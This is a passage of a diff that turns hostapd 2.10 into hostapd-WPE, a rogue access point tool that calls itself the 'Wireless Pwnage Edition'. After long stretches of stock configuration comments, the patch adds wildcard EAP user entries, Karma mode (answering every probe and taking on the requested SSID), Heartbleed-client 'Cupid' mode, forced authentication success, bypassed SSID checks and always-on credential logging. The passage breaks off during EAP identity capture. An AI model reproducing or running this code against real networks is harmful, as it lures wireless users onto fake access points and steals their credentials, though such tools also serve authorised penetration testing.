to disable that behavior for a subset +# of interfaces. If this is set to non-zero for an interface, WPS commands +# issued on that interface do not apply to other interfaces and WPS operations +# performed on other interfaces do not affect this interface. +#wps_independent=0 + +# AP can be configured into a locked state where new WPS Registrar are not +# accepted, but previously authorized Registrars (including the internal one) +# can continue to add new Enrollees. +#ap_setup_locked=1 + +# Universally Unique IDentifier (UUID; see RFC 4122) of the device +# This value is used as the UUID for the internal WPS Registrar. If the AP +# is also using UPnP, this value should be set to the device's UPnP UUID. +# If not configured, UUID will be generated based on the local MAC address. +#uuid=12345678-9abc-def0-1234-56789abcdef0 + +# Note: If wpa_psk_file is set, WPS is used to generate random, per-device PSKs +# that will be appended to the wpa_psk_file. If wpa_psk_file is not set, the +# default PSK (wpa_psk/wpa_passphrase) will be delivered to Enrollees. Use of +# per-device PSKs is recommended as the more secure option (i.e., make sure to +# set wpa_psk_file when using WPS with WPA-PSK). + +# When an Enrollee requests access to the network with PIN method, the Enrollee +# PIN will need to be entered for the Registrar. PIN request notifications are +# sent to hostapd ctrl_iface monitor. In addition, they can be written to a +# text file that could be used, e.g., to populate the AP administration UI with +# pending PIN requests. If the following variable is set, the PIN requests will +# be written to the configured file. +#wps_pin_requests=/var/run/hostapd_wps_pin_requests + +# Device Name +# User-friendly description of device; up to 32 octets encoded in UTF-8 +#device_name=Wireless AP + +# Manufacturer +# The manufacturer of the device (up to 64 ASCII characters) +#manufacturer=Company + +# Model Name +# Model of the device (up to 32 ASCII characters) +#model_name=WAP + +# Model Number +# Additional device description (up to 32 ASCII characters) +#model_number=123 + +# Serial Number +# Serial number of the device (up to 32 characters) +#serial_number=12345 + +# Primary Device Type +# Used format: -- +# categ = Category as an integer value +# OUI = OUI and type octet as a 4-octet hex-encoded value; 0050F204 for +# default WPS OUI +# subcateg = OUI-specific Sub Category as an integer value +# Examples: +# 1-0050F204-1 (Computer / PC) +# 1-0050F204-2 (Computer / Server) +# 5-0050F204-1 (Storage / NAS) +# 6-0050F204-1 (Network Infrastructure / AP) +#device_type=6-0050F204-1 + +# OS Version +# 4-octet operating system version number (hex string) +#os_version=01020300 + +# Config Methods +# List of the supported configuration methods +# Available methods: usba ethernet label display ext_nfc_token int_nfc_token +# nfc_interface push_button keypad virtual_display physical_display +# virtual_push_button physical_push_button +#config_methods=label virtual_display virtual_push_button keypad + +# WPS capability discovery workaround for PBC with Windows 7 +# Windows 7 uses incorrect way of figuring out AP's WPS capabilities by acting +# as a Registrar and using M1 from the AP. The config methods attribute in that +# message is supposed to indicate only the configuration method supported by +# the AP in Enrollee role, i.e., to add an external Registrar. For that case, +# PBC shall not be used and as such, the PushButton config method is removed +# from M1 by default. If pbc_in_m1=1 is included in the configuration file, +# the PushButton config method is left in M1 (if included in config_methods +# parameter) to allow Windows 7 to use PBC instead of PIN (e.g., from a label +# in the AP). +#pbc_in_m1=1 + +# Static access point PIN for initial configuration and adding Registrars +# If not set, hostapd will not allow external WPS Registrars to control the +# access point. The AP PIN can also be set at runtime with hostapd_cli +# wps_ap_pin command. Use of temporary (enabled by user action) and random +# AP PIN is much more secure than configuring a static AP PIN here. As such, +# use of the ap_pin parameter is not recommended if the AP device has means for +# displaying a random PIN. +#ap_pin=12345670 + +# Skip building of automatic WPS credential +# This can be used to allow the automatically generated Credential attribute to +# be replaced with pre-configured Credential(s). +#skip_cred_build=1 + +# Additional Credential attribute(s) +# This option can be used to add pre-configured Credential attributes into M8 +# message when acting as a Registrar. If skip_cred_build=1, this data will also +# be able to override the Credential attribute that would have otherwise been +# automatically generated based on network configuration. This configuration +# option points to an external file that much contain the WPS Credential +# attribute(s) as binary data. +#extra_cred=hostapd.cred + +# Credential processing +# 0 = process received credentials internally (default) +# 1 = do not process received credentials; just pass them over ctrl_iface to +# external program(s) +# 2 = process received credentials internally and pass them over ctrl_iface +# to external program(s) +# Note: With wps_cred_processing=1, skip_cred_build should be set to 1 and +# extra_cred be used to provide the Credential data for Enrollees. +# +# wps_cred_processing=1 will disabled automatic updates of hostapd.conf file +# both for Credential processing and for marking AP Setup Locked based on +# validation failures of AP PIN. An external program is responsible on updating +# the configuration appropriately in this case. +#wps_cred_processing=0 + +# AP Settings Attributes for M7 +# By default, hostapd generates the AP Settings Attributes for M7 based on the +# current configuration. It is possible to override this by providing a file +# with pre-configured attributes. This is similar to extra_cred file format, +# but the AP Settings attributes are not encapsulated in a Credential +# attribute. +#ap_settings=hostapd.ap_settings + +# WPS UPnP interface +# If set, support for external Registrars is enabled. +#upnp_iface=br0 + +# Friendly Name (required for UPnP) +# Short description for end use. Should be less than 64 characters. +#friendly_name=WPS Access Point + +# Manufacturer URL (optional for UPnP) +#manufacturer_url=http://www.example.com/ + +# Model Description (recommended for UPnP) +# Long description for end user. Should be less than 128 characters. +#model_description=Wireless Access Point + +# Model URL (optional for UPnP) +#model_url=http://www.example.com/model/ + +# Universal Product Code (optional for UPnP) +# 12-digit, all-numeric code that identifies the consumer package. +#upc=123456789012 + +# WPS RF Bands (a = 5G, b = 2.4G, g = 2.4G, ag = dual band, ad = 60 GHz) +# This value should be set according to RF band(s) supported by the AP if +# hw_mode is not set. For dual band dual concurrent devices, this needs to be +# set to ag to allow both RF bands to be advertized. +#wps_rf_bands=ag + +# NFC password token for WPS +# These parameters can be used to configure a fixed NFC password token for the +# AP. This can be generated, e.g., with nfc_pw_token from wpa_supplicant. When +# these parameters are used, the AP is assumed to be deployed with a NFC tag +# that includes the matching NFC password token (e.g., written based on the +# NDEF record from nfc_pw_token). +# +#wps_nfc_dev_pw_id: Device Password ID (16..65535) +#wps_nfc_dh_pubkey: Hexdump of DH Public Key +#wps_nfc_dh_privkey: Hexdump of DH Private Key +#wps_nfc_dev_pw: Hexdump of Device Password + +##### Wi-Fi Direct (P2P) ###################################################### + +# Enable P2P Device management +#manage_p2p=1 + +# Allow cross connection +#allow_cross_connection=1 + +#### TDLS (IEEE 802.11z-2010) ################################################# + +# Prohibit use of TDLS in this BSS +#tdls_prohibit=1 + +# Prohibit use of TDLS Channel Switching in this BSS +#tdls_prohibit_chan_switch=1 + +##### IEEE 802.11v-2011 ####################################################### + +# Time advertisement +# 0 = disabled (default) +# 2 = UTC time at which the TSF timer is 0 +#time_advertisement=2 + +# Local time zone as specified in 8.3 of IEEE Std 1003.1-2004: +# stdoffset[dst[offset][,start[/time],end[/time]]] +#time_zone=EST5 + +# WNM-Sleep Mode (extended sleep mode for stations) +# 0 = disabled (default) +# 1 = enabled (allow stations to use WNM-Sleep Mode) +#wnm_sleep_mode=1 + +# BSS Transition Management +# 0 = disabled (default) +# 1 = enabled +#bss_transition=1 + +# Proxy ARP +# 0 = disabled (default) +# 1 = enabled +#proxy_arp=1 + +# IPv6 Neighbor Advertisement multicast-to-unicast conversion +# This can be used with Proxy ARP to allow multicast NAs to be forwarded to +# associated STAs using link layer unicast delivery. +# 0 = disabled (default) +# 1 = enabled +#na_mcast_to_ucast=0 + +##### IEEE 802.11u-2011 ####################################################### + +# Enable Interworking service +#interworking=1 + +# Access Network Type +# 0 = Private network +# 1 = Private network with guest access +# 2 = Chargeable public network +# 3 = Free public network +# 4 = Personal device network +# 5 = Emergency services only network +# 14 = Test or experimental +# 15 = Wildcard +#access_network_type=0 + +# Whether the network provides connectivity to the Internet +# 0 = Unspecified +# 1 = Network provides connectivity to the Internet +#internet=1 + +# Additional Step Required for Access +# Note: This is only used with open network, i.e., ASRA shall ne set to 0 if +# RSN is used. +#asra=0 + +# Emergency services reachable +#esr=0 + +# Unauthenticated emergency service accessible +#uesa=0 + +# Venue Info (optional) +# The available values are defined in IEEE Std 802.11u-2011, 7.3.1.34. +# Example values (group,type): +# 0,0 = Unspecified +# 1,7 = Convention Center +# 1,13 = Coffee Shop +# 2,0 = Unspecified Business +# 7,1 Private Residence +#venue_group=7 +#venue_type=1 + +# Homogeneous ESS identifier (optional; dot11HESSID) +# If set, this shall be identifical to one of the BSSIDs in the homogeneous +# ESS and this shall be set to the same value across all BSSs in homogeneous +# ESS. +#hessid=02:03:04:05:06:07 + +# Roaming Consortium List +# Arbitrary number of Roaming Consortium OIs can be configured with each line +# adding a new OI to the list. The first three entries are available through +# Beacon and Probe Response frames. Any additional entry will be available only +# through ANQP queries. Each OI is between 3 and 15 octets and is configured as +# a hexstring. +#roaming_consortium=021122 +#roaming_consortium=2233445566 + +# Venue Name information +# This parameter can be used to configure one or more Venue Name Duples for +# Venue Name ANQP information. Each entry has a two or three character language +# code (ISO-639) separated by colon from the venue name string. +# Note that venue_group and venue_type have to be set for Venue Name +# information to be complete. +#venue_name=eng:Example venue +#venue_name=fin:Esimerkkipaikka +# Alternative format for language:value strings: +# (double quoted string, printf-escaped string) +#venue_name=P"eng:Example\nvenue" + +# Network Authentication Type +# This parameter indicates what type of network authentication is used in the +# network. +# format: [redirect URL] +# Network Authentication Type Indicator values: +# 00 = Acceptance of terms and conditions +# 01 = On-line enrollment supported +# 02 = http/https redirection +# 03 = DNS redirection +#network_auth_type=00 +#network_auth_type=02http://www.example.com/redirect/me/here/ + +# IP Address Type Availability +# format: <1-octet encoded value as hex str> +# (ipv4_type & 0x3f) << 2 | (ipv6_type & 0x3) +# ipv4_type: +# 0 = Address type not available +# 1 = Public IPv4 address available +# 2 = Port-restricted IPv4 address available +# 3 = Single NATed private IPv4 address available +# 4 = Double NATed private IPv4 address available +# 5 = Port-restricted IPv4 address and single NATed IPv4 address available +# 6 = Port-restricted IPv4 address and double NATed IPv4 address available +# 7 = Availability of the address type is not known +# ipv6_type: +# 0 = Address type not available +# 1 = Address type available +# 2 = Availability of the address type not known +#ipaddr_type_availability=14 + +# Domain Name +# format: [,] +#domain_name=example.com,another.example.com,yet-another.example.com + +# 3GPP Cellular Network information +# format: [;][;...] +#anqp_3gpp_cell_net=244,91;310,026;234,56 + +# NAI Realm information +# One or more realm can be advertised. Each nai_realm line adds a new realm to +# the set. These parameters provide information for stations using Interworking +# network selection to allow automatic connection to a network based on +# credentials. +# format: ,[,][,][,...] +# encoding: +# 0 = Realm formatted in accordance with IETF RFC 4282 +# 1 = UTF-8 formatted character string that is not formatted in +# accordance with IETF RFC 4282 +# NAI Realm(s): Semi-colon delimited NAI Realm(s) +# EAP Method: [:<[AuthParam1:Val1]>][<[AuthParam2:Val2]>][...] +# EAP Method types, see: +# http://www.iana.org/assignments/eap-numbers/eap-numbers.xhtml#eap-numbers-4 +# AuthParam (Table 8-188 in IEEE Std 802.11-2012): +# ID 2 = Non-EAP Inner Authentication Type +# 1 = PAP, 2 = CHAP, 3 = MSCHAP, 4 = MSCHAPV2 +# ID 3 = Inner authentication EAP Method Type +# ID 5 = Credential Type +# 1 = SIM, 2 = USIM, 3 = NFC Secure Element, 4 = Hardware Token, +# 5 = Softoken, 6 = Certificate, 7 = username/password, 9 = Anonymous, +# 10 = Vendor Specific +#nai_realm=0,example.com;example.net +# EAP methods EAP-TLS with certificate and EAP-TTLS/MSCHAPv2 with +# username/password +#nai_realm=0,example.org,13[5:6],21[2:4][5:7] + +# Arbitrary ANQP-element configuration +# Additional ANQP-elements with arbitrary values can be defined by specifying +# their contents in raw format as a hexdump of the payload. Note that these +# values will override ANQP-element contents that may have been specified in the +# more higher layer configuration parameters listed above. +# format: anqp_elem=: +# For example, AP Geospatial Location ANQP-element with unknown location: +#anqp_elem=265:0000 +# For example, AP Civic Location ANQP-element with unknown location: +#anqp_elem=266:000000 + +# GAS Address 3 behavior +# 0 = P2P specification (Address3 = AP BSSID) workaround enabled by default +# based on GAS request Address3 +# 1 = IEEE 802.11 standard compliant regardless of GAS request Address3 +# 2 = Force non-compliant behavior (Address3 = AP BSSID for all cases) +#gas_address3=0 + +# QoS Map Set configuration +# +# Comma delimited QoS Map Set in decimal values +# (see IEEE Std 802.11-2012, 8.4.2.97) +# +# format: +# [,],... +# +# There can be up to 21 optional DSCP Exceptions which are pairs of DSCP Value +# (0..63 or 255) and User Priority (0..7). This is followed by eight DSCP Range +# descriptions with DSCP Low Value and DSCP High Value pairs (0..63 or 255) for +# each UP starting from 0. If both low and high value are set to 255, the +# corresponding UP is not used. +# +# default: not set +#qos_map_set=53,2,22,6,8,15,0,7,255,255,16,31,32,39,255,255,40,47,255,255 + +##### Hotspot 2.0 ############################################################# + +# Enable Hotspot 2.0 support +#hs20=1 + +# Disable Downstream Group-Addressed Forwarding (DGAF) +# This can be used to configure a network where no group-addressed frames are +# allowed. The AP will not forward any group-address frames to the stations and +# random GTKs are issued for each station to prevent associated stations from +# forging such frames to other stations in the BSS. +#disable_dgaf=1 + +# OSU Server-Only Authenticated L2 Encryption Network +#osen=1 + +# ANQP Domain ID (0..65535) +# An identifier for a set of APs in an ESS that share the same common ANQP +# information. 0 = Some of the ANQP information is unique to this AP (default). +#anqp_domain_id=1234 + +# Deauthentication request timeout +# If the RADIUS server indicates that the station is not allowed to connect to +# the BSS/ESS, the AP can allow the station some time to download a +# notification page (URL included in the message). This parameter sets that +# timeout in seconds. +#hs20_deauth_req_timeout=60 + +# Operator Friendly Name +# This parameter can be used to configure one or more Operator Friendly Name +# Duples. Each entry has a two or three character language code (ISO-639) +# separated by colon from the operator friendly name string. +#hs20_oper_friendly_name=eng:Example operator +#hs20_oper_friendly_name=fin:Esimerkkioperaattori + +# Connection Capability +# This can be used to advertise what type of IP traffic can be sent through the +# hotspot (e.g., due to firewall allowing/blocking protocols/ports). +# format: :: +# IP Protocol: 1 = ICMP, 6 = TCP, 17 = UDP +# Port Number: 0..65535 +# Status: 0 = Closed, 1 = Open, 2 = Unknown +# Each hs20_conn_capab line is added to the list of advertised tuples. +#hs20_conn_capab=1:0:2 +#hs20_conn_capab=6:22:1 +#hs20_conn_capab=17:5060:0 + +# WAN Metrics +# format: :
:
    :
    :
      : +# WAN Info: B0-B1: Link Status, B2: Symmetric Link, B3: At Capabity +# (encoded as two hex digits) +# Link Status: 1 = Link up, 2 = Link down, 3 = Link in test state +# Downlink Speed: Estimate of WAN backhaul link current downlink speed in kbps; +# 1..4294967295; 0 = unknown +# Uplink Speed: Estimate of WAN backhaul link current uplink speed in kbps +# 1..4294967295; 0 = unknown +# Downlink Load: Current load of downlink WAN connection (scaled to 255 = 100%) +# Uplink Load: Current load of uplink WAN connection (scaled to 255 = 100%) +# Load Measurement Duration: Duration for measuring downlink/uplink load in +# tenths of a second (1..65535); 0 if load cannot be determined +#hs20_wan_metrics=01:8000:1000:80:240:3000 + +# Operating Class Indication +# List of operating classes the BSSes in this ESS use. The Global operating +# classes in Table E-4 of IEEE Std 802.11-2012 Annex E define the values that +# can be used in this. +# format: hexdump of operating class octets +# for example, operating classes 81 (2.4 GHz channels 1-13) and 115 (5 GHz +# channels 36-48): +#hs20_operating_class=5173 + +# OSU icons +# ::::: +#hs20_icon=32:32:eng:image/png:icon32:/tmp/icon32.png +#hs20_icon=64:64:eng:image/png:icon64:/tmp/icon64.png + +# OSU SSID (see ssid2 for format description) +# This is the SSID used for all OSU connections to all the listed OSU Providers. +#osu_ssid="example" + +# OSU Providers +# One or more sets of following parameter. Each OSU provider is started by the +# mandatory osu_server_uri item. The other parameters add information for the +# last added OSU provider. +# +#osu_server_uri=https://example.com/osu/ +#osu_friendly_name=eng:Example operator +#osu_friendly_name=fin:Esimerkkipalveluntarjoaja +#osu_nai=anonymous@example.com +#osu_method_list=1 0 +#osu_icon=icon32 +#osu_icon=icon64 +#osu_service_desc=eng:Example services +#osu_service_desc=fin:Esimerkkipalveluja +# +#osu_server_uri=... + +##### Fast Session Transfer (FST) support ##################################### +# +# The options in this section are only available when the build configuration +# option CONFIG_FST is set while compiling hostapd. They allow this interface +# to be a part of FST setup. +# +# FST is the transfer of a session from a channel to another channel, in the +# same or different frequency bands. +# +# For detals, see IEEE Std 802.11ad-2012. + +# Identifier of an FST Group the interface belongs to. +#fst_group_id=bond0 + +# Interface priority within the FST Group. +# Announcing a higher priority for an interface means declaring it more +# preferable for FST switch. +# fst_priority is in 1..255 range with 1 being the lowest priority. +#fst_priority=100 + +# Default LLT value for this interface in milliseconds. The value used in case +# no value provided during session setup. Default is 50 ms. +# fst_llt is in 1..4294967 range (due to spec limitation, see 10.32.2.2 +# Transitioning between states). +#fst_llt=100 + +##### Radio measurements / location ########################################### + +# The content of a LCI measurement subelement +#lci= + +# The content of a location civic measurement subelement +#civic= + +# Enable neighbor report via radio measurements +#rrm_neighbor_report=1 + +# Publish fine timing measurement (FTM) responder functionality +# This parameter only controls publishing via Extended Capabilities element. +# Actual functionality is managed outside hostapd. +#ftm_responder=0 + +# Publish fine timing measurement (FTM) initiator functionality +# This parameter only controls publishing via Extended Capabilities element. +# Actual functionality is managed outside hostapd. +#ftm_initiator=0 + +##### TESTING OPTIONS ######################################################### +# +# The options in this section are only available when the build configuration +# option CONFIG_TESTING_OPTIONS is set while compiling hostapd. They allow +# testing some scenarios that are otherwise difficult to reproduce. +# +# Ignore probe requests sent to hostapd with the given probability, must be a +# floating point number in the range [0, 1). +#ignore_probe_probability=0.0 +# +# Ignore authentication frames with the given probability +#ignore_auth_probability=0.0 +# +# Ignore association requests with the given probability +#ignore_assoc_probability=0.0 +# +# Ignore reassociation requests with the given probability +#ignore_reassoc_probability=0.0 +# +# Corrupt Key MIC in GTK rekey EAPOL-Key frames with the given probability +#corrupt_gtk_rekey_mic_probability=0.0 +# +# Include only ECSA IE without CSA IE where possible +# (channel switch operating class is needed) +#ecsa_ie_only=0 + +##### Multiple BSSID support ################################################## +# +# Above configuration is using the default interface (wlan#, or multi-SSID VLAN +# interfaces). Other BSSIDs can be added by using separator 'bss' with +# default interface name to be allocated for the data packets of the new BSS. +# +# hostapd will generate BSSID mask based on the BSSIDs that are +# configured. hostapd will verify that dev_addr & MASK == dev_addr. If this is +# not the case, the MAC address of the radio must be changed before starting +# hostapd (ifconfig wlan0 hw ether ). If a BSSID is configured for +# every secondary BSS, this limitation is not applied at hostapd and other +# masks may be used if the driver supports them (e.g., swap the locally +# administered bit) +# +# BSSIDs are assigned in order to each BSS, unless an explicit BSSID is +# specified using the 'bssid' parameter. +# If an explicit BSSID is specified, it must be chosen such that it: +# - results in a valid MASK that covers it and the dev_addr +# - is not the same as the MAC address of the radio +# - is not the same as any other explicitly specified BSSID +# +# Alternatively, the 'use_driver_iface_addr' parameter can be used to request +# hostapd to use the driver auto-generated interface address (e.g., to use the +# exact MAC addresses allocated to the device). +# +# Not all drivers support multiple BSSes. The exact mechanism for determining +# the driver capabilities is driver specific. With the current (i.e., a recent +# kernel) drivers using nl80211, this information can be checked with "iw list" +# (search for "valid interface combinations"). +# +# Please note that hostapd uses some of the values configured for the first BSS +# as the defaults for the following BSSes. However, it is recommended that all +# BSSes include explicit configuration of all relevant configuration items. +# +#bss=wlan0_0 +#ssid=test2 +# most of the above items can be used here (apart from radio interface specific +# items, like channel) + +#bss=wlan0_1 +#bssid=00:13:10:95:fe:0b +# ... diff '--color=auto' -rupN hostapd-2.10/hostapd/hostapd-wpe.eap_user hostapd-2.10-wpe/hostapd/hostapd-wpe.eap_user --- hostapd-2.10/hostapd/hostapd-wpe.eap_user 1970-01-01 00:00:00.000000000 +0000 +++ hostapd-2.10-wpe/hostapd/hostapd-wpe.eap_user 2022-02-21 23:29:30.104000000 +0000 @@ -0,0 +1,107 @@ +# hostapd user database for integrated EAP server + +# Each line must contain an identity, EAP method(s), and an optional password +# separated with whitespace (space or tab). The identity and password must be +# double quoted ("user"). Password can alternatively be stored as +# NtPasswordHash (16-byte MD4 hash of the unicode presentation of the password +# in unicode) if it is used for MSCHAP or MSCHAPv2 authentication. This means +# that the plaintext password does not need to be included in the user file. +# Password hash is stored as hash:<16-octets of hex data> without quotation +# marks. + +# [2] flag in the end of the line can be used to mark users for tunneled phase +# 2 authentication (e.g., within EAP-PEAP). In these cases, an anonymous +# identity can be used in the unencrypted phase 1 and the real user identity +# is transmitted only within the encrypted tunnel in phase 2. If non-anonymous +# access is needed, two user entries is needed, one for phase 1 and another +# with the same username for phase 2. +# +# EAP-TLS, EAP-PEAP, EAP-TTLS, EAP-FAST, EAP-SIM, and EAP-AKA do not use +# password option. +# EAP-MD5, EAP-MSCHAPV2, EAP-GTC, EAP-PAX, EAP-PSK, and EAP-SAKE require a +# password. +# EAP-PEAP, EAP-TTLS, and EAP-FAST require Phase 2 configuration. +# +# * can be used as a wildcard to match any user identity. The main purposes for +# this are to set anonymous phase 1 identity for EAP-PEAP and EAP-TTLS and to +# avoid having to configure every certificate for EAP-TLS authentication. The +# first matching entry is selected, so * should be used as the last phase 1 +# user entry. +# +# "prefix"* can be used to match the given prefix and anything after this. The +# main purpose for this is to be able to avoid EAP method negotiation when the +# method is using known prefix in identities (e.g., EAP-SIM and EAP-AKA). This +# is only allowed for phase 1 identities. +# +# Multiple methods can be configured to make the authenticator try them one by +# one until the peer accepts one. The method names are separated with a +# comma (,). +# +# [ver=0] and [ver=1] flags after EAP type PEAP can be used to force PEAP +# version based on the Phase 1 identity. Without this flag, the EAP +# authenticator advertises the highest supported version and select the version +# based on the first PEAP packet from the supplicant. +# +# EAP-TTLS supports both EAP and non-EAP authentication inside the tunnel. +# Tunneled EAP methods are configured with standard EAP method name and [2] +# flag. Non-EAP methods can be enabled by following method names: TTLS-PAP, +# TTLS-CHAP, TTLS-MSCHAP, TTLS-MSCHAPV2. TTLS-PAP and TTLS-CHAP require a +# plaintext password while TTLS-MSCHAP and TTLS-MSCHAPV2 can use NT password +# hash. +# +# Arbitrary RADIUS attributes can be added into Access-Accept packets similarly +# to the way radius_auth_req_attr is used for Access-Request packet in +# hostapd.conf. For EAP server, this is configured separately for each user +# entry with radius_accept_attr= line(s) following the main user entry +# line. + +# Phase 1 users +#"user" MD5 "password" +#"test user" MD5 "secret" +#"example user" TLS +#"DOMAIN\user" MSCHAPV2 "password" +#"gtc user" GTC "password" +#"pax user" PAX "unknown" +#"pax.user@example.com" PAX 0123456789abcdef0123456789abcdef +#"psk user" PSK "unknown" +#"psk.user@example.com" PSK 0123456789abcdef0123456789abcdef +#"sake.user@example.com" SAKE 0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef +#"ttls" TTLS +#"not anonymous" PEAP +# Default to EAP-SIM and EAP-AKA based on fixed identity prefixes +#"0"* AKA,TTLS,TLS,PEAP,SIM +#"1"* SIM,TTLS,TLS,PEAP,AKA +#"2"* AKA,TTLS,TLS,PEAP,SIM +#"3"* SIM,TTLS,TLS,PEAP,AKA +#"4"* AKA,TTLS,TLS,PEAP,SIM +#"5"* SIM,TTLS,TLS,PEAP,AKA +#"6"* AKA' +#"7"* AKA' +#"8"* AKA' + +# Wildcard for all other identities +#* PEAP,TTLS,TLS,SIM,AKA + +# Phase 2 (tunnelled within EAP-PEAP or EAP-TTLS) users +#"t-md5" MD5 "password" [2] +#"DOMAIN\t-mschapv2" MSCHAPV2 "password" [2] +#"t-gtc" GTC "password" [2] +#"not anonymous" MSCHAPV2 "password" [2] +#"user" MD5,GTC,MSCHAPV2 "password" [2] +#"test user" MSCHAPV2 hash:000102030405060708090a0b0c0d0e0f [2] +#"ttls-user" TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,TTLS-MSCHAPV2 "password" [2] + +# Default to EAP-SIM and EAP-AKA based on fixed identity prefixes in phase 2 +#"0"* AKA [2] +#"1"* SIM [2] +#"2"* AKA [2] +#"3"* SIM [2] +#"4"* AKA [2] +#"5"* SIM [2] +#"6"* AKA' [2] +#"7"* AKA' [2] +#"8"* AKA' [2] + +# WPE - DO NOT REMOVE - These entries are specifically in here +* PEAP,TTLS,TLS,FAST +"t" TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAPV2 "t" [2] diff '--color=auto' -rupN hostapd-2.10/hostapd/main.c hostapd-2.10-wpe/hostapd/main.c --- hostapd-2.10/hostapd/main.c 2022-01-16 20:51:29.000000000 +0000 +++ hostapd-2.10-wpe/hostapd/main.c 2022-02-22 00:03:05.108000000 +0000 @@ -30,7 +30,7 @@ #include "config_file.h" #include "eap_register.h" #include "ctrl_iface.h" - +#include "wpe/wpe.h" struct hapd_global { void **drv_priv; @@ -451,11 +451,17 @@ static int hostapd_global_run(struct hap static void show_version(void) { fprintf(stderr, - "hostapd v%s\n" + "hostapd-WPE v%s\n" "User space daemon for IEEE 802.11 AP management,\n" "IEEE 802.1X/WPA/WPA2/EAP/RADIUS Authenticator\n" "Copyright (c) 2002-2022, Jouni Malinen " - "and contributors\n", + "and contributors\n" + "-----------------------------------------------------\n" + "WPE (Wireless Pwnage Edition)\n" + "This version has been cleverly modified to target\n" + "wired and wireless users.\n" + "Twitter: @aircrackng\n" + "Website: https://aircrack-ng.org\n", VERSION_STR); } @@ -465,7 +471,7 @@ static void usage(void) show_version(); fprintf(stderr, "\n" - "usage: hostapd [-hdBKtv] [-P ] [-e ] " + "usage: hostapd-wpe [-hdBKtvrkc] [-P ] [-e ] " "\\\n" " [-g ] [-G ]\\\n" " [-i ]\\\n" @@ -493,7 +499,16 @@ static void usage(void) #endif /* CONFIG_DEBUG_SYSLOG */ " -S start all the interfaces synchronously\n" " -t include timestamps in some debug messages\n" - " -v show hostapd version\n"); + " -v show hostapd version\n\n" + "\n" + "WPE options:\n" + " -r Return Success where possible\n" +#if OPENSSL_VERSION_NUMBER < 0x10100000L + " -c Cupid Mode (Heartbleed clients)\n\n" +#endif + " -k Karma Mode (Respond to all probes)\n" + "\n" + " Note: credentials logging is always enabled\n\n"); exit(1); } @@ -684,7 +699,7 @@ int main(int argc, char *argv[]) #endif /* CONFIG_DPP */ for (;;) { - c = getopt(argc, argv, "b:Bde:f:hi:KP:sSTtu:vg:G:"); + c = getopt(argc, argv, "b:Bde:f:hi:KP:sSTtu:vg:G:kcr"); if (c < 0) break; switch (c) { @@ -753,6 +768,15 @@ int main(int argc, char *argv[]) case 'u': return gen_uuid(optarg); #endif /* CONFIG_WPS */ + case 'k': + wpe_conf.wpe_enable_karma++; + break; + case 'c': + wpe_conf.wpe_enable_cupid++; + break; + case 'r': + wpe_conf.wpe_enable_return_success++; + break; case 'i': if (hostapd_get_interface_names(&if_names, &if_names_size, optarg)) diff '--color=auto' -rupN hostapd-2.10/src/Makefile hostapd-2.10-wpe/src/Makefile --- hostapd-2.10/src/Makefile 2022-01-16 20:51:29.000000000 +0000 +++ hostapd-2.10-wpe/src/Makefile 2022-02-21 23:29:30.152000000 +0000 @@ -1,5 +1,5 @@ SUBDIRS=ap common crypto drivers eapol_auth eapol_supp eap_common eap_peer eap_server l2_packet p2p pae radius rsn_supp tls utils wps -SUBDIRS += fst +SUBDIRS += fst wpe all: for d in $(SUBDIRS); do [ -d $$d ] && $(MAKE) -C $$d; done diff '--color=auto' -rupN hostapd-2.10/src/ap/beacon.c hostapd-2.10-wpe/src/ap/beacon.c --- hostapd-2.10/src/ap/beacon.c 2022-01-16 20:51:29.000000000 +0000 +++ hostapd-2.10-wpe/src/ap/beacon.c 2022-02-21 23:29:30.128000000 +0000 @@ -32,7 +32,7 @@ #include "dfs.h" #include "taxonomy.h" #include "ieee802_11_auth.h" - +#include "wpe/wpe.h" #ifdef NEED_AP_MLME @@ -975,6 +975,13 @@ void handle_probe_req(struct hostapd_dat } #endif /* CONFIG_TAXONOMY */ + if (wpe_conf.wpe_enable_karma && elems.ssid_len > 0) { + wpa_printf(MSG_MSGDUMP,"[WPE] Probe request from " MACSTR ", changing SSID to '%s'", MAC2STR(mgmt->sa), wpa_ssid_txt(elems.ssid, elems.ssid_len)); + hostapd_set_ssid(hapd,elems.ssid,elems.ssid_len); + os_memcpy(&hapd->conf->ssid.ssid,elems.ssid,elems.ssid_len); + hapd->conf->ssid.ssid_len = elems.ssid_len; + } + res = ssid_match(hapd, elems.ssid, elems.ssid_len, elems.ssid_list, elems.ssid_list_len, elems.short_ssid_list, elems.short_ssid_list_len); diff '--color=auto' -rupN hostapd-2.10/src/ap/ieee802_11.c hostapd-2.10-wpe/src/ap/ieee802_11.c --- hostapd-2.10/src/ap/ieee802_11.c 2022-01-16 20:51:29.000000000 +0000 +++ hostapd-2.10-wpe/src/ap/ieee802_11.c 2022-02-21 23:29:30.128000000 +0000 @@ -55,7 +55,7 @@ #include "fils_hlp.h" #include "dpp_hostapd.h" #include "gas_query_ap.h" - +#include "wpe/wpe.h" #ifdef CONFIG_FILS static struct wpabuf * @@ -3998,8 +3998,8 @@ static u16 check_ssid(struct hostapd_dat if (ssid_ie == NULL) return WLAN_STATUS_UNSPECIFIED_FAILURE; - if (ssid_ie_len != hapd->conf->ssid.ssid_len || - os_memcmp(ssid_ie, hapd->conf->ssid.ssid, ssid_ie_len) != 0) { + if ((!wpe_conf.wpe_enable_karma) && (ssid_ie_len != hapd->conf->ssid.ssid_len || + os_memcmp(ssid_ie, hapd->conf->ssid.ssid, ssid_ie_len) != 0)) { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_INFO, "Station tried to associate with unknown SSID " diff '--color=auto' -rupN hostapd-2.10/src/ap/ieee802_1x.c hostapd-2.10-wpe/src/ap/ieee802_1x.c --- hostapd-2.10/src/ap/ieee802_1x.c 2022-01-16 20:51:29.000000000 +0000 +++ hostapd-2.10-wpe/src/ap/ieee802_1x.c 2022-02-21 23:29:30.128000000 +0000 @@ -855,6 +855,8 @@ static void handle_eap_response(struct h { u8 type, *data; struct eapol_state_machine *sm = sta->eapol_sm; + const u8 *identity; + size_t identity_len; if (!sm) return; @@ -874,6 +876,16 @@ static void handle_eap_response(struct h eap->code, eap->identifier, be_to_host16(eap->length), eap_server_get_name(0, type), type); +/* Print Response-Identity from STA*/ + identity = eap_get_identity(sm->eap, &identity_len); + os_free(sm->identity); + sm->identity = (u8 *) dup_binstr(identity, identity_len); + 